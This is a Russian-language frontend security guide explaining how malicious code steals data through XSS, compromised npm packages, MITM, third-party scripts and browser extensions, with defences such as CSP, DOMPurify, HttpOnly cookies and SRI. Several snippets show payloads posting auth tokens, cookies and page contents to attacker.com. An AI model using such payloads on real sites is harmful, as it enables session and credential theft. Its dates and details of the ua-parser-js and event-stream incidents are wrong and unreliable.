Как вредоносный код может начать отправлять данные на сервис

Этот вопрос о безопасности фронтенда и различных способах, которыми вредоносный код может оказаться в приложении и начать красть данные. Это критично для понимания фронтенд-разработчика.

Основные векторы атак

Вредоносный код может попасть в приложение несколькими путями:

1. XSS (Cross-Site Scripting)

Это самая распространённая уязвимость на фронтенде. Вредоносный JavaScript выполняется в контексте вашего сайта.

Вариант 1: Stored XSS (прямая вставка в DOM)

// УЯЗВИМО -- React или другой фреймворк
function UserProfile({ username }) {
  return (
    <div>
      {/* ОПАСНО -- вставляет HTML напрямую */}
      <h1 dangerouslySetInnerHTML={{ __html: username }} />
    </div>
  );
}

// Если username = "<img src=x onerror=\"fetch('https://attacker.com/steal', {
//   method: 'POST',
//   body: JSON.stringify(localStorage.getItem('authToken'))
// })\">" 
// Токен будет отправлен на attacker.com

Вариант 2: Reflected XSS (через URL)

<!-- Уязвимая страница -->
<script>
  const search = new URLSearchParams(window.location.search).get('q');
  document.body.innerHTML = "Results for: " + search;
</script>

<!-- Если отправить ссылку с XSS полезной нагрузкой: -->
https://example.com?q=<img src=x onerror="sendDataToAttacker()">

2. Supply Chain Attack (уязвимые зависимости)

Если одна из npm-зависимостей содержит вредоносный код, он выполнится в вашем приложении:

// package.json
{
  "dependencies": {
    "popular-library": "1.0.0"  // Эта библиотека скомпрометирована
  }
}

// Внутри popular-library могут быть вредоносные скрипты
// которые крадут localStorage, cookies, creditcard данные

Примеры реальных атак:

• В 2023 году пакет ua-parser-js был скомпрометирован
• В 2021 году event-stream содержал код для майнинга криптовалюты

3. Man-in-the-Middle (MITM) атака

Если подключение не HTTPS или оно скомпрометировано, атакующий может изменить JavaScript код:

// Оригинальный скрипт
<script src="https://cdn.example.com/app.js"></script>

// Атакующий перехватывает и модифицирует код
// Добавляет код для отправки данных:
fetch('https://attacker.com', {
  method: 'POST',
  body: JSON.stringify({
    cookies: document.cookie,
    localStorage: localStorage,
    auth_token: localStorage.getItem('token')
  })
});

4. Вредоносные третьи лица (Third-party scripts)

Если вы подключаете скрипты с неизвестных источников или не проверяете их:

<!-- Опасно -- неизвестный источник -->
<script src="https://unknown-analytics.com/tracker.js"></script>

<!-- Скрипт может иметь доступ ко всему на странице: -->
<script>
  // Может отправить все данные со страницы
  fetch('https://attacker.com', {
    method: 'POST',
    body: JSON.stringify({
      pageHTML: document.documentElement.innerHTML,
      cookies: document.cookie,
      formData: getAllFormInputs()
    })
  });
</script>

5. Browser Extension атака

Вредоносное расширение браузера может:

// Расширение имеет доступ к JS контексту
// и может отправлять данные:
window.addEventListener('message', (event) => {
  if (event.data.authToken) {
    fetch('https://attacker.com/steal', {
      method: 'POST',
      body: JSON.stringify({ token: event.data.authToken })
    });
  }
});

6. Local Storage / Session Storage утечка

Вредоносный код может получить доступ к хранилищу:

// Если XSS есть, атакующий может прочитать:
const secrets = {
  token: localStorage.getItem('authToken'),
  refreshToken: localStorage.getItem('refreshToken'),
  userData: JSON.parse(localStorage.getItem('user'))
};

// И отправить на свой сервер
fetch('https://attacker.com/collect', {
  method: 'POST',
  body: JSON.stringify(secrets)
});

7. Cookies утечка (если нет httpOnly флага)

// ПЛОХО -- cookies доступны для JavaScript
Set-Cookie: sessionId=abc123; Path=/;

// Вредоносный код может прочитать:
const sessionId = document.cookie.split('sessionId=')[1];
fetch('https://attacker.com', {
  method: 'POST',
  body: sessionId
});

// ХОРОШО -- httpOnly флаг защищает от XSS
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict;
// JavaScript не может прочитать этот cookie

Как защитить приложение

1. Content Security Policy (CSP)

<!-- Блокирует загрузку скриптов с неавторизованных источников -->
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; 
               script-src 'self' 'nonce-abcd1234'; 
               connect-src 'self' https://api.example.com; 
               img-src 'self' data: https:;">

Теперь fetch на attacker.com будет заблокирован!

2. Санитизация входных данных

// ПЛОХО
function UserComment({ comment }) {
  return <div dangerouslySetInnerHTML={{ __html: comment }} />;
}

// ХОРОШО -- используй библиотеку для очистки HTML
import DOMPurify from 'dompurify';

function UserComment({ comment }) {
  const clean = DOMPurify.sanitize(comment);
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

// ЛУЧШЕ -- просто отображай как текст
function UserComment({ comment }) {
  return <div>{comment}</div>; // Автоматически экранируется
}

3. HttpOnly cookies для токенов

// На сервере при установке cookie
res.setHeader('Set-Cookie', 
  'authToken=xyz; HttpOnly; Secure; SameSite=Strict; Path=/');

4. Проверка зависимостей

# Регулярно проверяй уязвимости
npm audit
npm audit fix

# Используй зависимости от репутабельных авторов
# Проверяй количество загрузок и поддержку

5. Subresource Integrity (SRI)

<!-- Гарантирует, что скрипт не был изменён -->
<script 
  src="https://cdn.example.com/library.js"
  integrity="sha384-oqVzEYhL2R...">
</script>

Если hash не совпадает, скрипт не загружается!

6. CORS правила

// На сервере
res.setHeader('Access-Control-Allow-Origin', 'https://example.com');
res.setHeader('Access-Control-Allow-Credentials', 'true');

// Только authorized домены могут делать cross-origin запросы

7. Regular Security Audits

# Используй инструменты для проверки
eslint --plugin security
snyk test
OWASP dependency check

Практический пример безопасного кода

// ПЛОХО -- множество уязвимостей
function Dashboard({ userData }) {
  useEffect(() => {
    fetch('https://unknown-api.com/analytics', {
      method: 'POST',
      body: JSON.stringify(userData)
    });
  }, [userData]);

  return (
    <div>
      <h1 dangerouslySetInnerHTML={{ __html: userData.name }} />
      <script src="https://random-tracker.com/track.js" />
    </div>
  );
}

// ХОРОШО -- защита от основных атак
function Dashboard({ userData }) {
  // Отправляем только на наш сервер
  useEffect(() => {
    fetch('/api/analytics', {
      method: 'POST',
      body: JSON.stringify({
        // Отправляем минимум информации
        visitedAt: new Date()
      })
    });
  }, []);

  // Текст автоматически экранируется
  return (
    <div>
      <h1>{userData.name}</h1>
      <p>{userData.bio}</p>
    </div>
  );
}

Заключение

Вредоносный код может попасть на фронтенд через:

1. XSS уязвимости
2. Скомпрометированные зависимости
3. Неэнкриптированные каналы (MITM)
4. Вредоносные third-party скрипты
5. Вредоносные расширения

Защита требует многоуровневого подхода:

• CSP для блокировки неавторизованных скриптов
• Санитизация входных данных
• HttpOnly cookies для токенов
• Проверка зависимостей
• HTTPS везде
• Регулярные аудиты безопасности

Безопасность — это не одна фича, это постоянный процесс.